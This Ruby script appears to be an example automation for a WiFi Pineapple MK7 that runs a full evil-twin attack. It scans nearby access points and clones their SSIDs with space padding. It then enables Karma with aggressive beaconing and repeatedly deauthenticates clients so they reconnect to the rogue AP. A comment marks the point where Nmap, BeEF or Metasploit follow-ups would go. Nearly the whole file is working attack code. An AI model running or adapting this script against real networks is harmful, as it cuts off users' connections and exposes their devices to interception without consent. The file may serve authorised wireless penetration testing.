require_relative('../../classes/PineappleMK7.rb')

system_authentication = PineappleMK7::System::Authentication.new
system_authentication.host = "172.16.42.1"
system_authentication.port = 1471
system_authentication.mac = "00:13:37:DD:EE:FF"
system_authentication.password = "<ROOT-ACCOUNT-PASSWORD>"

if (system_authentication.login)

    led = PineappleMK7::System::LED.new

    # SETUP
    #
    led.setup

    recon_scanning = PineappleMK7::Modules::Recon::Scanning.new
    RECON_TIME = 300

    pineap_filtering = PineappleMK7::Modules::PineAP::Filtering.new
    pineap_filtering.client_filter('deny')
    pineap_filtering.ssid_filter('deny')

    pineap_impersonation = PineappleMK7::Modules::PineAP::Impersonation.new
    PREFIX_TWIN = ' '
    SUFFIX_TWIN = ' '

    pineap_settings = PineappleMK7::Modules::PineAP::Settings.new
    BROADCAST_TIME = 30

    TIMES = 5
    INTERVAL = 25
    pineap_clients = PineappleMK7::Modules::PineAP::Clients.new

    # ATTACK 1
    #
    led.attack

    scanID = (recon_scanning.start(RECON_TIME)).scanID
    output = recon_scanning.output(scanID)
    
    # SPECIAL
    #
    led.special

    ap_clients = []
    (output.APResults).each do |ap|
        if (!ap.ssid.empty? && !ap.clients.nil?)
            ap_clients << ap
            pineap_impersonation.add_ssid(PREFIX_TWIN + ap.ssid + SUFFIX_TWIN)
        end
    end

    pineap_settings.karma = true
    pineap_settings.broadcast_ssid_pool = true
    pineap_settings.beacon_interval = 'AGGRESSIVE'
    pineap_settings.save

    sleep(BROADCAST_TIME)

    # ATTACK 2
    #
    led.attack

    puts('[+] Connected Clients')

    if (ap_clients.size > 0)

        TIMES.times do
            
            ap_clients.each do |ap|
                recon_scanning.deauth_ap(ap)
            end

            sleep(INTERVAL)

            pineap_clients.connected_clients.each do |client|
                pp(client)
                # Nmap, BetterCAP, BeEF, Metasploit, ... actions
                pineap_filtering.add_client(client.mac)
                pineap_clients.kick(client.mac)
            end

        end

    end

    # FINISH
    #
    led.finish

    reset_settings = PineappleMK7::Modules::PineAP::Settings.new
    reset_settings.save

    # CLEANUP
    #
    led.cleanup

    recon_scanning.delete(scanID)
    pineap_filtering.clear_clients
    pineap_impersonation.clear_pool
    pineap_clients.clear_previous

    # OFF
    #
    led.off

end